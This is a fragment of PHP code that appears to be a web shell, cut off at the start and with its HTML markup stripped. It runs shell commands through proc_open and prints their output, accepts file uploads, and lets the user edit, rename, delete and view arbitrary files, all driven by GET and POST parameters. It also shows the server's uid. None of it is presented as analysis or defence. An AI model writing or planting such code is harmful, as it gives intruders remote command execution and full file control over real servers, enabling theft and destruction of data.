['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pp,$p);if(is_resource($h)){$o=stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($h);}if(!$o)$o='-';} if(isset($_FILES['f'])){$n=basename($_FILES['f']['name']);echo copy($_FILES['f']['tmp_name'],$p.'/'.$n)?'OK':'FAIL';exit;} $op=$_GET['o']??'';$fi=$_GET['f']??''; if($op=='s'&&isset($_POST['c'])){echo file_put_contents($fi,$_POST['c'])!==false?'OK':'FAIL';exit;} if($op=='r'&&isset($_POST['n'])){echo rename($fi,dirname($fi).'/'.basename($_POST['n']))?'OK':'FAIL';exit;} if($op=='d'){echo(is_dir($fi)?rmdir($fi):unlink($fi))?'OK':'FAIL';exit;} ?>19 $pt){$a.='/'.$pt;if($i)echo'/';echo''.$pt.'';} echo' | uid:'.getmyuid().'
'; // CMD echo'
'; if($o)echo'
'.htmlspecialchars($o).'
'; // Upload echo'
'; // Edit if($op=='e'&&$fi){echo''.basename($fi).' [X]

';} // Rename if($op=='r'&&$fi){echo'
';} // View if($op=='v'&&$fi){echo''.basename($fi).' [X]
'.htmlspecialchars(file_get_contents($fi)).'
';} // List echo''; $items=[]; foreach(scandir($p) as $f){if($f=='.'||$f=='..')continue;$fp=$p.'/'.$f;$d=is_dir($fp);$items[]=['n'=>$f,'p'=>$fp,'d'=>$d,'s'=>$d?0:filesize($fp),'m'=>filemtime($fp)];} usort($items,function($a,$b){if($a['d']!=$b['d'])return $a['d']?-1:1;return strcasecmp($a['n'],$b['n']);}); foreach($items as $it){$f=$it['n'];$fp=$it['p'];$d=$it['d'];$s=$it['s'];$ss=$d?'-':($s>1048576?round($s/1048576,1).'M':($s>1024?round($s/1024,1).'K':$s)); echo''; if($d)echo''; else echo''; echo'';} if(!$items)echo''; echo'
'.$f.'/'.$f.''.$ss.''; if($d)echo'O '; else echo'V E '; echo'R D
Empty
'?>